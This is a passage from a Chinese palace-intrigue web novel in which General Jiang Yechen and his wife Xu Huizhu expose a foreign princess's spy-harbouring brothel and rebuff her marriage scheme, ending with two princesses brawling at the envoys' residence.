“不知死活。”
皇上终于体会到民间说法,父母生育不成器的儿女,骂道:早知如此祸害人,还不如在生下之时掐死。
皇上此刻就是这样的心情。
他拼力压制内心翻腾的疯狂念头——弑女。
“夜沉,你说吧。”
李生德赶忙上前扶住皇上坐下,再奉上参汤。
皇上乃安国的君,若气坏了,这天就得塌。
“凝玉公主,你不知玉楚楼是经营何种营生的地方?”姜夜沉亮出一沓证据,“你是玉楚楼的常客,那玉楚楼的掌柜是个会来事儿的,献给你的两名小倌眼下就在京郊别院住着。”
“还有,当初欣冉郡主死在南风馆,牵扯出凝玉公主时常和欣冉郡主同行,也曾是南风馆的常客。”
凝玉公主愣住,又不知想到什么,目色发亮看着姜夜沉,“姜夜沉,你查本宫?事无巨细地查本宫?”
“本宫就知道,你看不得、受不住本宫和旁的男子在一起,姜夜沉,你承认吧,你吃醋了,你嫉妒了,你在报复本宫,是也不是?”
姜夜沉:……
皇上:掐死孽女吧,一了百了。
接着传出,锦衣卫经查证,这大名鼎鼎的玉楚楼,背后东家乃仓国人氏。
仓国人在安国京城开一家玉楚楼,日日接待的贵人有钱有权,来自世家大族的贵女贵夫人。也就是说,玉楚楼掌控她们的秘密,不,该说是把柄,一旦加以威逼利诱,后果……
听说,锦衣卫放出话,自首者,据实交待,再缴纳万两“封口银”,锦衣卫保其名誉。敢心存侥幸者,待锦衣卫查出,直接登门捉人,全家当受牵连。
一时间,锦衣卫署的夜里,烛火通明,从后门而入的女子,清一色戴着帷帽,全身上下遮掩严实,生怕露出一寸肌肤,被旁人认出。
后又传说,在玉楚楼抓到的细作乃坞国人,此消息一出,京城炸开锅。
仓国人开的玉楚楼,怎会藏匿坞国细作?仓国昌乐长公主为何凑巧去玉楚楼“寻欢作乐”?
人们很容易想起当初那场玉香楼大火,烧死一位仓国王爷和多名朝廷官员,仓国定是理亏,才在事后不追究责任,还主动赔偿安国一大笔银子。
是何道理?
当初烧死的仓国王爷赫连敬,不正是昌乐长公主的亲爹嘛。
……
姜夜沉奉命请仓国使臣团入宫解释,马车行至将军府,顺道接上徐慧珠,为皇上请平安脉,更为赏戏。
到宫门处,赫连娜娜忍不住先开口挑衅。
“徐夫人的确手段不俗,也让本宫大开眼界见识到杀神将军柔情的一面。”赫连娜娜起初没把凝玉公主的话放在心上,亲身经历过才感受到徐慧珠不易杀。
“不过?”
赫连娜娜笑的嘲讽,“不过,本宫实在好奇,大将军如此宠爱徐夫人,怎会舍得让你做妾,而不是将军府真正的女主人。说到底,妾,上不得台面,对于男人来说,终归是个玩意儿。”
但愿,赫连娜娜待会儿还能笑得出来,可千万别哭,因为,无人怜香惜玉。
徐慧珠神色淡然,任凭赫连娜娜说出再难堪的话,伤不得她分毫,“又劳烦昌乐长公主操心了,我这妾当得滋润,过得舒坦,也算是京城独一份。”
“我呢,不贪虚名。”
“说来,昌乐长公主才是威风,该称赞一句‘巾帼不让须眉’。”
徐慧珠接下来的一番话,让赫连娜娜脸上的笑容碎裂。
“我自不知,昌乐长公主您在仓国是何等风光无限?可您一到安国京城,不到一月光景,便诱引凝玉公主去玉楚楼寻欢,昌乐长公主,您真是寻
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欢吗?”
“徐夫人,你……”赫连娜娜脸色大变,“是你?”
这时,一名君皇殿侍奉的太监上前,“奴才见过大将军。”
又向赫连娜娜、徐慧珠行礼。
皇宫重地,噤声。
君皇殿,李生德将锦衣卫调查的证据一项一项摆在仓国使臣团面前,以供传阅。
“尊贵的安国皇帝,这……这不可能啊。”赫连礼用力捏住供词,手指发白,身形摇摇欲坠,好在一旁武将扶着,“宗正大人?”
赫连礼乃仓国皇室宗正,年过七旬,瞧那身板怕是经不住气。
虽说自个儿气死,但死在安国,晦气。
“李生德,给宗正大人搬个软凳,命人去太医院,让太医在殿外候着。”
“咳咳。”赫连礼又羞又怒,还得拼力压制,“尊贵的安国皇帝,昌乐长公主乃我仓国君王亲封长公主,冰清玉洁,怎会……”
这时,姜夜沉充当皇上的嘴替。
“宗正大人的意思,是本将军在玉楚楼认错了人?还是昌乐长公主来访我安国,有居心不良之人设局陷害?”
“宗正大人若不认同锦衣卫调查的结果,尽可自证。”
又问,“不知,昌乐长公主可有话说?”
昌乐长公主何尝不明白,姜夜沉先前警告她,她却心存侥幸,以为奉上足够丰厚的利益,安国皇帝会动心,哪怕犹豫,最终也会“卖掉”姜夜沉。
因为,这笔账不管如何计算,都是仓国舔着脸送礼,而安国占了大便宜。
但,姜夜沉的报复让她猝不及防,他果然狠心冷漠,一出手欲置她死地,甚至不惜拖凝玉公主躺入污水。
她更震惊于皇上对姜夜沉的偏信、纵容,太子和凝玉公主是皇上的血脉,但不知为何,她却觉得姜夜沉才是皇上疼爱入骨、寄予厚望的亲子。
她还有何话说?
赫连娜娜稳定心神,尽管辩白无力,她也不甘心如案板上的肉,任屠夫宰割。
“大将军,如果我说,凝玉公主热情贴心,陪我在仓国使馆小住,我们睡在床榻,待清醒之时,便是见到大将军……”
第245章:公主售卖自己,买一送一?
“姜夜沉,父皇对你多好呀,好到太子哥哥和大皇兄都羡慕嫉妒你。”
“你口口声声忠心于父皇,现在该是你回报的时候了,娶昌乐长公主为嫡妻,两国缔结盟约,你便是功臣。”
凝玉公主和赫连娜娜相处日短,影响不小,不仅学会讲道理,还学会利用家国大义来捆绑姜夜沉。
是有长进,可惜,没往好的方向发展。
“凝玉公主说得在理。”
赫连娜娜说道,“大将军,我带着满满的诚意而来,以茶代酒,预祝两国情谊长存长青。”
“哦?”姜夜沉神色淡漠,“所以,两位公主私下谈拢,将自己售卖,还是买一送一?”
话说得难听,理没差。
“既是国事,皇上下旨了吗?”
“本将军竟不知,国之邦交,由两位公主说了算?”
这话,说得严重。
姜夜沉眯了眯眼睛,“昌乐长公主,不知,凝玉公主可有告诉过你,本将军不能人道,当初凝玉公主因此毁婚。你若嫁入将军府,恐怕得守活寡,可耐得住……寂寞?”
徐慧珠口里的茶水,差点喷出来。
她们拿家国大义**他,他就敢以自黑自损这种极端的方式回击。
姜夜沉说:觊觎本将军美色和权势的人太多,这种好事儿还请夫人独享较好。
大可不必洗白。
“不能……人道吗?”赫连娜娜嘴角抽了抽,脸上的笑容险些碎裂,“大将军,你我之间的亲事关乎两国……”
姜夜沉打断道,“昌乐长公主也说,若你嫁给我,或我愿娶你,不在于你我二人意愿,关乎的是两国交好。”
“但,本将军没道理委屈自己忍受、承受日后昌乐长公主你一支红杏出墙去,本将军的脸面容不得你踩在脚下践踏。”
“大将军?”赫连娜娜越发着急,她欲辩驳,安国太医治不好姜夜沉的隐疾,试一试仓国医者,或能治愈呢。
还有,将来的事情,谁能说得准?
姜夜沉凭什么笃定她日后定会耐不住寂寞,非得一支红杏出墙去?便是她为解决身体愉悦,娇养三两个美男子,难道姜夜沉会到处嚷嚷家丑不成?
“昌乐长公主,本将军不信你。”
“至于你愿为仓国大义牺牲小我,那是你的事情,仓国君王合该感动,与我何干。我安国泱泱大国,皇上乃明君,绝不会枉顾朝臣意愿,做出卖臣的没品没德之举。”
“再说,我安国拥有雄兵百万,最为不屑就是他国的威逼利诱,也得问过边疆将士们手里的刀剑,可答应。”
“仓国愿和我安国交好,表达诚意的法子千百种……”
赫连娜娜上赶着找骂受辱,那就满足她。
她是仓国尊贵的昌乐长公主没错,可她现在脚踏的土地是安国,一个外来人罢了。
凝玉公主还在发愣,怎么又又又失败了呢?
母后要她和赫连娜娜交好,多说太子好话,促成联姻,帮太子得到仓国的外力支持。但,赫连娜娜提出的妙计,太有诱惑力了,她无法拒绝。
“大福,送客。”
大福恭敬行礼,“凝玉公主,昌乐长公主,请。”
再赖下去,就是不要脸了。
赫连娜娜脸色涨红,“为何是徐慧珠?”
“大将军就不担心她?”
赫连娜娜目色落在徐慧珠身上,听凝玉公主说了很多徐慧珠的坏话,赫连娜娜没放在心上,一个妾罢了,姜夜沉宠爱几分,又如何?
凝玉公主说得对,徐慧珠就是硌脚的石子,蛊惑了姜夜沉的心,必须一脚踢开。
除之。
“昌乐长公主如此关心我?”
徐慧珠说话更是气人,“不敢劳烦您关心,毕竟不熟嘛。”
“我和将军的事,说小了是夫妻私事,说大了是将军府大事,容不得他国窥探。”
“昌乐长公主,您是仓国人,还没嫁到安国,这般急切反客为主,不大好吧。”
赫连娜娜:……
她仓国昌乐长公主今日算是体会到一败涂地的滋味。
坐在马车上,凝玉公主脑袋懵懵的,尚未转过弯,回过神。
“凝玉妹妹,今日之事,问题出在徐慧珠身上。”
赫连娜娜轻咬朱唇,说出的
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话句句蛊惑,“凝玉妹妹,你可恨徐慧珠?”
凝玉公主眼里仍一片茫然,下意识点头。
“我帮你除了她,好助凝玉妹妹达成所愿。”
这下,凝玉公主激动不已。
“昌乐姐姐当真?”这一声“昌乐姐姐”,凝玉公主叫的真情实意。
“可是?”
凝玉公主想到往昔,她三番五次羞辱,或弄死徐慧珠,最后受伤吃亏都是她。
也是邪门了。
徐慧珠似乎很难杀。
赫连娜娜皱眉,“凝玉妹妹是不敢,还是不愿?”
她人在安国,万事不能自己出头,一朝不慎,将连累仓国。
她必须寻一把好用的刀,以方便她行借刀**之事。
凝玉公主这个没几两脑子的蠢货,正合适。
“这世间最美好的事情,便是与心爱之人长相厮守。反之,最痛苦的事情,便是求而不能,爱而不得。”
“我也是心疼凝玉妹妹,你是金尊玉贵的皇族公主,怎能被一个大臣之女,如今为妾的徐慧珠比到尘埃里?”
赫连娜娜心道:她来安国,为的是覆灭将军府。
她万分笃定,父王的死,姜夜沉才是真凶。
当初,父王去安国后,送回一封密信,只有一句话“杀神将军必死无疑,仓国南下指日可待”。
结果呢?
姜夜沉活着,父王却身死安国,死在那种脏污的地方,死的那么**惨烈。
她原计划嫁给安国太子,做太子妃。
她为君,姜夜沉为臣。
报仇一时,从长计议。
她入京后,又改变了主意。
她偏要嫁给杀父仇人,以身为饵,杀了姜夜沉,摧毁安国百姓的信仰。
护国将军,让他护不住安国。
“徐氏那个**的确该死。”凝玉公主眼色发狠,“杀了她杀了她。”
“本宫要将那****万段,不不不,先将那**卖到京城做下等的窑子,被无数低贱男子蹂躏而死。”
“姜夜沉,他只能做本宫的宠物。”
将军府的两人还不知,有人看上了他们的命。
第251章:姜夜沉就是凶手
“这就是全部事实,大将军信吗?”
姜夜沉语气淡漠,“昌乐长公主说的话,自个儿信吗?”
“可是,大将军,这里是安国,更是天子脚下的皇城。”赫连娜娜言下之意,她不蠢,也没能力布局。
“我离开母国,千里迢迢来京,奉上诚意,以求两国修好。”
她怎会罔顾君意?
叛国吗?
“锦衣卫查出的一条条证据,昌乐长公主可想好如何推翻?说不知情,或被人设局陷害……这些借口,未免太假。”
“昌乐长公主不妨再仔细看一遍证据。”
情报有误。
赫连娜娜亲自面对后才恍然明白,父王错了,错的彻底。
父王研究姜夜沉这个人十多年,只了解皮**。姜夜沉实属可怕,他手里的剑可**,他那张嘴亦可**。
第一回警告,她被赶出将军府。
第二回警告,她被悄无声息扔到玉楚楼。
第三回,还是警告?也可能姜夜沉不耐烦,直接索命,索她的命。
谁也不知,姜夜沉何时动作,会做出何等恐怖的事情。
“玉楚楼幕后东家乃仓国人氏,当然,仓国人到安国开铺经商,只要守规矩,本分经营,自是欢迎。”
“但,这位东家本事不小,胆量极大,先是向凝玉公主美色**,还敢窝藏坞国细作。凑巧的是,这位东家姓章名旺,在开玉楚楼之前,是敬王府的一名管事。”
“这倒是奇了怪了。”
仓国只有一个敬王府。
赫连娜娜心里清楚,玉楚楼的确是父王在安国经营的秘密产业之一,父王惨死后,由她接手。
锦衣卫能查到章旺和他的过往,已然坐实铁证。
“大将军?”赫连娜娜心里发虚,仍嘴硬道,“这世上同名同姓,甚至面容相似之人何其多,敬王府的确有一名名叫章旺的管事,但此人多年前突发疾病身亡,坟头草怕是长三尺高了。大将军若不信,可派锦衣卫走一趟仓国核实。”
“哦?”姜夜沉收起证据,放置桌案,“是吗?”
“同名同姓同面容?”
“本将军统管下的锦衣卫,一个个都是吃闲饭的草包?查不清玉楚楼一个小小的东家?”
扑面而来的压迫感,岂是赫连娜娜招架得住,冷汗浸湿里衣,心里唯有一个念头,逃走。
姜夜沉转向赫连礼,“宗正大人也如此认为?”
赫连礼老脸羞的通红,感觉身下的软凳埋了绵密的绣花针,扎的他吃痛。
“我?”
“这?”
赫连礼心里无声唉叹,当着安国皇帝面毫无底气地胡说,是赫连娜娜惊慌之下的口不择言,还是刻意为之?
这便是赫连敬教导的好女儿?君王亲封的昌乐长公主?她当真能完成仓国与安国修好的大任?
一口气憋在心口处,吐不出去,也不能吞咽入腹,赫连礼的脸色青了又白,白了又青,心里一片绝望,难道?
难道他的一条老命,交待于安国?
他不想……客死异国他乡,亦不愿成为仓国遗臭万年的罪人。
“大将军,这……这或是意外,仓国和谈之诚意日月可鉴……”
这时,边疆急报传至君皇殿。
“北疆急禀,十万北疆军奉皇命向北推进五十里,举行为期半月的战场演练。”
皇上满意地点头,“嗯,做得很好。”
“夜沉,传本皇旨意,犒赏北疆军,告于北疆军上下,他们皆是我安国最优秀威猛的儿郎,日后会有更多建功立业的大好机会。本皇期待将士们的英勇表现。”
“臣遵旨,吾皇英明,请皇上安心,北疆军每一位将士时刻准备着上阵杀敌,以忠心皇上为信仰,以保家卫国为己任。”
如此军机要秘,却当着仓国使臣团禀报,明知皇上和姜夜沉这一对君臣一唱一和,堂而皇之威胁、警告。
又如何?
他们只得受了这份难堪,吞下这份**。
果然,话音落下,赫连娜娜着急开口,“尊贵的安国皇帝,昌乐敢问您一句何意?”
“我仓国使臣团带着丰厚诚意来访,人还在京城,您为何下令北疆军此时演练?难道要同仓国开战,让万千百姓因为战争流离失所,甚至丧命吗?”
赫连礼有心阻挡,可惜无力捂住赫连娜娜的嘴。
安国皇帝,是赫连娜娜一个异国公主有资格质问的人?
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>不知所谓。
不知死活。
“大胆。”
无需皇上开口,敢冒犯天颜之人,李生德会教导她规矩。
“昌乐长公主,你仗着何等身份,在安国土地上,在皇上面前大放厥词?”
“质问皇上?”
“莫说你的父亲赫连敬王爷不敢,就是仓国君王在此,也得客气说话。”
赫连娜娜脸色发白,噗通跪在地上,“尊敬的安国皇帝,我……我?”
“昌乐长公主好大的威风啊。”姜夜沉手下动作更快,剑已出鞘,架在赫连娜娜的脖子。
“昌乐长公主,你来京之后,先是硬闯将军府,扬言要做将军府的女主人。再是诱引凝玉公主去玉楚楼那种脏污之地寻欢作乐,你三番五次利用凝玉公主行事,为遮掩在玉楚楼藏匿坞国细作的事实。现下,又质问吾皇,意图插手我安**务。”
“怎么?我安国改姓‘赫连’了?”
剑气割破脖颈皮肤,血浸染衣领,比之身体疼痛,恐惧正渐渐吞噬赫连娜娜的心,她已丧失思考的力气。
“我没有……”
她万万不能承认。
“呵!”
姜夜沉这一声“呵”,吓得赫连娜娜一颗心仿佛踩空,栽入坑中。
“仓国君王难道没告诉你,赫连敬王爷**的,昌乐长公主?”
“嗯?”
“赫连敬王爷暗里勾结坞国,最后多行不义必自毙,死在女妓身上。昌乐长公主,天意不可违啊。”
赫连娜娜的心,一下又一下抽痛,痛到战栗窒息,指甲掐到皮肤破碎,她若亮出胳膊,怕是一片血肉模糊
“大将军,你?”
她想要怒吼:姜夜沉,我杀了你。
狗屁天意,父王惨死,姜夜沉就是凶手。
赫连敬固执地认为,姜夜沉一死,安国必乱五分,仓国再暗里联合坞国、索罗国,以西北南三**攻,届时瓜分仓国这块油滋滋的肥肉。
当然,得利最多者,当属仓国。
届时,他赫连敬是仓国的英雄功臣,载入史册,名垂千古。
赫连娜娜敢劝一句,遭受赫连敬好一通训斥,“赫连娜娜,本王警告你,收起你不该有的心思。”
第252章:眼下,他如何自证?
“呵,心悦姜夜沉?姜夜沉是谁?是**我仓国无数将士的刽子手,是每一个仓国人的敌人。赫连娜娜,你若犯贱,本王亲自动手,拧断你的脖子,以祭我仓国逝去的万千亡灵。”
她的一颗春心,不安又萌动,直到父王受尽**,惨死于安国,她对姜夜沉不再有仰慕爱意,唯有喷涌不息的怨恨。
她混沌的脑子,骤然清醒。
“夜沉,命锦衣卫护送昌乐长公主出宫,无事就在仓国使馆歇着吧。”
这是变相软禁?
赫连娜娜不知怒气侵袭,还是脑子犯浑,“安国皇帝,您是何意?限制我的自由?我是仓国昌乐长公主……”
她等于直白地说,她是仓国昌乐长公主,皇上是安国的皇上,没有权利更无道理命令她软禁她。
徐慧珠禁不住盯着赫连娜娜看,仓国君王此刻该是悔到肠子发青,怎么一时大意派了赫连娜娜这个蠢货来访安国。
谁给她的底气勇气?她的父王赫连敬?一个**。
赫连礼顾不得尊卑,打断道,“公主殿下,您……您莫要胡说了,这里是安国啊。”
人在屋檐下,哪能不低头。
何况,是仓国腆着脸一再想要与安国和谈,赫连敬是厉害,是为仓国而死,这一点,赫连皇族尽知晓。但仓国实力不堪,莫说打得过安国,仓**队怕是连北疆之界都越不过。
一只田间老鼠,却日日做着吞食大象的美梦。
何其可笑。
赫连娜娜心知自己又闯了祸,一时不知如何收场,便身子一软,欲装晕。
君皇殿里,唯有徐慧珠一人为女子。
谁扶赫连娜娜都不合适,徐慧珠自是有眼色,为皇上解忧。
而且,姜夜沉递给徐慧珠一个眼色。
“昌乐长公主,你……怎么了?”
不管赫连娜娜是否乐意,她都得顺势晕倒在徐慧珠的怀里。
“回禀皇上,臣妇观昌乐长公主之相,病得不轻,净说胡话,臣妇刚从普神医那里学会一套针法,在人的头部刺入九九八十一针,连续半月,可恢复清明。”
扎成刺猬头。
保管赫连娜娜来访一趟安国,喜提“刺猬头公主”的外号。
徐慧珠明显感觉到,怀里的昌乐长公主身子轻微颤栗。
她倒要看看,赫连娜娜有多少本事,能装到何时。
“皇上,慧珠的医术不差,不妨让她试上一试。”
皇上应允。
“不……不可啊。”
赫连礼也是修炼成精的狐狸,哪会看不出来赫连娜娜的拙劣伎俩,她天真地以为装晕就万事大吉了。
“多谢大将军的一片好意,公主殿下是犯了旧疾,无需麻烦徐夫人,随行医者就候在仓国使馆,服药便会缓解。”
又说,“大将军有所不知,公主殿下身患眩晕症,从娘胎里带出来的病症,时不时会晕倒,于健康和寿命无碍。”
实发突然,难为赫连礼想出这样的理由。
已是尽力了。
“昌乐长公主身患眩晕症?”
徐慧珠挂名太医院,身为医者,发表几句“眩晕症”的看法,赫连礼能捂她嘴不成。
太好了,终于该她说话。
她要向皇上证明,她这个“徐夫人”当的称职称责,是夫唱妇随的贤内助。
“眩晕症?”
“我在一本医术杂记上看过这种病症的介绍,眩晕症的确不会影响患病者的健康和寿命,但假象之下,却是另一层可怕的真相。”
“患病者若孕育子女,大概率会遗传眩晕症,更为关键的是会影响智商。也就是说,患病者极有可能生出痴傻后代。”
不就是一本正经胡说,谁还不会胡说了?
赫连礼额头冷汗直冒,他被众人合力逼至悬崖,跳下悬崖,死无葬身之地;厚颜留下,得承受无止尽的羞辱。
他也想装晕。
晕**结。
“这?”
赫连礼只得干巴巴解释,“徐夫人言重了,未知之事,岂可妄下结论。”
“医术无边,我师从普神医,只学到皮**,但身为医者,从不撒谎。”徐慧珠迎上赫连礼的目光,她和赫连礼这些人一不沾亲二不带故,凭什么帮他圆话。
再说,她才是谋害赫连敬性命的元凶。
“只是,宗正大人,我有一事不明不解。”
“徐夫人请说,愿为徐夫人答疑解惑。”赫连礼
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心里慌乱成一团,面上还得硬撑着应付徐慧珠。
一个将军府的妾室,掺和个什么劲儿,安国的礼仪规矩,便是如此?
“昌乐长公主先前在宫宴上表明,这回仓国使臣团奉君命来访我安国,意在缔结两国情谊。也因此,昌乐长公主人未至,京城就莫名传出昌乐长公主会嫁给太子殿下为太子妃的传言。”
“如果昌乐长公主当真嫁给太子殿下为太子妃,待将来生育子女极可能智商有损,后果……”
“当然,宗正大人会说,太子殿下已有太子妃,昌乐长公主绝无可能入东宫。但,昌乐长公主不能做不成太子妃,祸害不成太子殿下,就来嚯嚯我家将军呀。”
原来?
女子不得干政,可,徐慧珠兜兜转转一大圈,最后回到将军府后宅的一亩三分地。
她的眼里,唯有姜夜沉。
谁能说她不是。
“大将军他?”
赫连敬差点脱口而出“大将军不能人道人尽皆知,算不得嚯嚯”,可这话,他不能说出口,那一双浑浊透着精明的眼睛却看向姜夜沉下身,意味明显。
“宗正大人有话直说便是,再难堪恶毒的话,我家将军心性坚定,受得住。”
“将军,您说呢?”
姜夜沉接话倒快,“夫人说得是。”
皇上:……
“宗正大人是想说将军不能人道,哪来的子孙后代?”
赫连礼心里怎么想的不重要,重要的是嘴巴得快点儿否认,“本王……本王没这么说。”
“做人呐,还是实诚些好。”徐慧珠嘴下不留情,“宗正大人难道能保证将军的隐疾,无痊愈的希望?或许将来有一日,将军病好,同昌乐长公主孕育出智商有损的后代,好让世人笑话战无不胜的杀神将军,他的后代痴傻无能,毁将军府根基?”
“我百思不得其解,仓国君王命昌乐长公主来我安国联姻,是想害储君?还是害朝之重臣?”
赫连礼:……
天地日月可鉴,他不过为收拾昌乐长公主留下的烂摊子,随口说一句“昌乐长公主身患眩晕症”的借口,却被徐慧珠积极发挥至此。
眼下,他如何自证?
第253章:两位公主干架的场面
赫连礼何尝不懂,就算他承认,不过是平添笑话。
“徐-夫-人?”
赫连敬几乎咬碎一口老牙,“徐夫人想象力丰富,是好事。但徐夫人想象力过剩,便是被害妄想症的前兆,徐夫人身为医者,或不能自医。”
赫连礼起身,向皇上行礼,他和徐夫人一个小辈一个贱妾分辨什么,毫无意义。
“尊贵的安国皇帝,我仓国愿与安国携手共好的诚意……”
徐慧珠看向皇上,眼神坚定,表达立场,“皇上?”
“臣妇身为安国子民,不能容忍敌人侵占我安国一寸土地,亦不能容忍敌人侵害我安国一寸利益。”
“臣妇身为将军的夫人,与将军荣辱与共,绝不允许居心不良之人谋害将军一分一毫。”
“徐氏,你说得很好。”皇上不吝夸赞,“夜沉,你娶到一位很好的夫人。”
很明显,皇上这是信了徐慧珠的话。
“宗正大人,很遗憾,仓国愿与我安国携手共好的诚意,本皇没看到。”
赫连礼欲张口辩解,在瞧见皇上冷清的脸色后,只得闭上嘴巴。
“夜沉,传本皇旨意,北疆军演练再延长一个月。”
……
锦衣卫一路护送赫连礼和昌乐长公主回仓国使馆,赫连礼到底上了年纪,强撑着一口气回到仓国使馆已是极限,当下请了太医看诊。
接下来几日,仓国使馆十分安静。
赫连礼和赫连娜娜都病了,且病的不轻,对外说是水土不服。
“听说前日夜里,赫连娜娜悄悄出门,半道被人扔了一身臭鸡蛋,还泼了粪液。”
这事,是大福告诉金夏,转瞬传到徐慧珠耳中。
徐慧珠好奇,谁会想到如此清新脱俗的法子羞辱安国昌乐长公主?关键是,这么恶心的遭遇,赫连娜娜不想忍也得忍着。
“夫人心中可有怀疑?”
“钱悠悠。”徐慧珠一猜即中,其实,不算难猜,这事办得很有江湖特色,徐慧珠只交好一位江湖侠女,就是钱悠悠。
说来,钱悠悠此举,是为她出气,谁让赫连娜娜不长眼,欺负到她头上。
“夫人且安心,为夫已命锦衣卫收尾,保管查不到钱悠悠身上。”
“多谢将军徇私一回。”
可,姜夜沉也没明说,祸水东引到凝玉公主。
不得不夸赞一句,姜夜沉这招够狠够损,这口黑锅,凝玉公主背着正合适。
宁可得罪菩萨,也不能得罪了姜夜沉。
这一日,上官西环登门,邀约徐慧珠同去仓国使馆,探望赫连娜娜。
徐慧珠顺道接上钱悠悠和徐念念,热闹,越多人看越热闹。
仓国使馆里格外热闹。
徐慧珠等人到的时候,骂战尾声,两国公主正互殴起劲,赫连娜娜居住的院子,俨然已成为比武场,主子命令各自宫人护卫不准妄动。这样以来,两位公主怎么骂怎么打,只能算作私怨,上升不到国事程度。
周嬷嬷急的满头大汗,一遍又一遍叹气,“哎呦,老奴的公主呀”。
“别打了别打了,都是金尊玉贵的千金之躯,不能打啊。”
可,周嬷嬷说的口干舌燥,两位公主打的欢实。
不用细想,徐慧珠已猜测到过程,凝玉公主上门算账,言语挑衅,再主动出手,赫连娜娜被迫迎战。
还好,徐慧珠觉得自己来得及时,此情此景,必须添一把柴火。
“上官郡主?”
“徐夫人?”
周嬷嬷明显着急,噗通跪在地上,好似抓住救命稻草,“凝玉公主听闻昌乐长公主生病,奉皇后娘娘懿旨探望,不知两位公主说了什么,竟……竟打起来了,老奴求贵人劝劝啊。”
周嬷嬷这个老货倒是精明,先告状为上策。
反正,今日之后,凝玉公主和昌乐长公主从“姐妹”结成“仇人”,周嬷嬷身为凝玉公主的奴才,自是全心全意为主子谋算。
上官西环身形未动,又没打出人命,不过是你揪我头发,我挠你脸颊,不值得她出手阻止。再说,许久没回京城,没欣赏到贵女掐架,熟悉场景重现,她都有点儿怀念了。
她一向话少,周嬷嬷就是指名道姓求她,她看不见,听不清。
“上官郡主?
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”
周嬷嬷瞧见上官西环的神色,没法子,只得退而求其次再求徐慧珠,“徐夫人,老奴求您。”
“周嬷嬷折煞我了,我不过是将军府的妾室,身份卑贱,在两位公主面前哪有资格说话。”徐慧珠还没欣赏过瘾,才不会傻到拉架,“不过,周嬷嬷哭哭相求,我便好心为周嬷嬷指一条明路。”
“金夏,你去一趟锦衣卫署,请将军来吧。”
周嬷嬷犹豫的功夫,金夏领命离去。
“不可。”赫连娜娜先停手,只感觉头皮一阵发麻,凝玉公主手里已攥着一小撮头发。
她不能再将事情闹大。
这里是安国,她讨不到半点便宜。再说,凝玉公主是什么德性,她十分清楚,胡搅蛮缠,颠倒黑白,是个混不吝的。
“不准去。”凝玉公主怒目徐慧珠,“徐慧珠,不准告诉姜夜沉。”
她这一身狼狈模样,如何见姜夜沉。
她看到徐慧珠眼里的幸灾乐祸,便明白徐慧珠故意叫姜夜沉来,好让姜夜沉看见她丑陋难堪的面目,继而更厌恶她。
**,好恶毒的心计。
“啊?”
徐慧珠看向金夏离开的方向,“两位公主何意?”
“两位公主乃金枝玉叶,代表国之体面,却不知为何在仓国使馆大打出手,若传出去,伤的是两国君王的脸面。”
“臣妇今日不凑巧撞见,总不能当个瞎子聋子,看不见听不到。万一……臣妇是说万一闹出更不体面的事情来,或闹出人命,皇上龙颜震怒,臣妇和上官郡主等人岂不是遭受无妄之灾。”
“公主殿下恕罪,臣妇嫁得良人,生活幸福美满,自是惜命。”
凝玉公主极易激怒,因为,徐慧珠专诛她的心。
嫁得良人?
生活幸福美满?
徐慧珠不是往凝玉公主眼里扬辣椒粉,就是往凝玉公主伤口撒盐巴。
果然,赫连娜娜忍不住嘲讽,“凝玉公主,你恼我哄骗了你,是我的错,我认。今日你跑到仓国使馆,骂也骂了,打也打了,你我之间的私怨权当了结。”
“但……”
第254章:当面挑拨离间
赫连娜娜又说,“凝玉公主可想过,我和大将军无缘无分,你爱而不得,害得你我不能得偿所愿的根源在于谁?是谁霸占着大将军?”
“凝玉公主,你莫忘了大将军在宫宴上说的话,堂堂杀神将军、北疆之王,竟对一个女人发下毒誓:今生只娶一女,若违背誓言,天打雷劈,不得好死。”
赫连娜娜还真是勇,在安国京城,当面挑拨离间,她的目光时不时落在徐慧珠身上,阴测测的。
还不如指名道姓。
“徐慧珠,**。”
凝玉公主的智商时好时坏,当然,大多时候,处于坏的状态。
赫连娜娜一番刺激,凝玉公主就跟个疯狗似扑过来。
“凝玉公主!”上官西环挡在徐慧珠身前,“徐夫人乃诰命夫人,凝玉公主当真要罔顾礼法,当众殴打吗?”
凝玉公主不怕上官西环,奈何她的身体反应诚实,禁不住哆嗦好几下。
“上官西环,你要护着徐慧珠?”
“你别忘了,钱无双和徐念念修成正果,徐慧珠功不可没。呵,真是好笑,你随西疆王打仗多年,却敌我不分。”
上官西环不应不动。
由于身高差异,凝玉公主得仰视上官西环,更添怒恨,她明明是安国最尊贵的皇族嫡公主,从小就被上官西环打,打了一回又一回。
实在憋屈。
“还有,上官西环,你就谨遵礼法了?徐慧珠是诰命夫人,本宫打不得?那本宫是公主之尊,你一个西疆王之女、郡主而已,凭什么打本宫?”
终于,上官西环说话了。
她稍微往前一步,凝玉公主身体不受控后退两步,等反应过来自己做了什么,恼到跺脚。
“我何时何地打过您,可有人证,尊贵的凝玉公主?”
“难道?”上官西环一笑,凝玉公主只觉得一阵冷意侵袭,“难道凝玉公主还是稚童不成?儿时玩闹,凝玉公主至今耿耿于怀?”
人证?
凝玉公主气结,上官西环这个男人婆归京之后打过她两回,人证是有一个……就是徐慧珠。
她还有什么不明的,上官西环和徐慧珠定是狼狈为奸,处处算计她。
“上-官-西-环?”凝玉公主欲从旁边越过,今日不抽烂徐慧珠那张脸,她气难消意难平,“本宫是公主!”
“那又如何?”上官西环挪动身子,继续挡住凝玉公主。
“滚!”凝玉公主怒吼。
有上官西环在,凝玉公主自是近不得徐慧珠身。
“凝玉公主,您……您要打臣妇?臣妇愚钝,不知哪里得罪了您?”处在安全地带的徐慧珠,安心拱火,“臣妇嫁给将军已成事实,再说臣妇如何嫁给将军为妾,当初奉的是凝玉公主您的命令啊。”
“凝玉公主,您心里不得舒坦,一再寻臣妇麻烦……但,您是安国皇族公主,臣妇乃安国子民,关起门来是一家人,哪怕内斗也是自家事儿,怎能让外人掺和,让外人看了笑话。”
“而且,凝玉公主莫忘了,这个‘外人’不久前利用您、哄骗您,逼迫将军非她不娶。”
外人是谁?
说的就是赫连娜娜。
不就是挑拨离间嘛,谁不会用?那就比一比谁能挑拨凝玉公主的心弦,凝玉公主这把刀,好用是好用,一着不慎,极可能变成回旋镖。
“徐-慧-珠?”
赫连娜娜咬牙切齿。
“怎么?昌乐长公主不让我说话,还是我说错了?”徐慧珠连皇后娘娘、凝玉公主都不惧,还会怕赫连娜娜这个外族公主,不知,赫连娜娜可曾打听她曾经的壮举,在大婚之日暴揍凝玉公主。
“昌乐长公主一再耍威风,莫忘了这里是安国京城,站在您面前的贵人,身份皆不低不差。”
赫连娜娜脸色青了又黑。
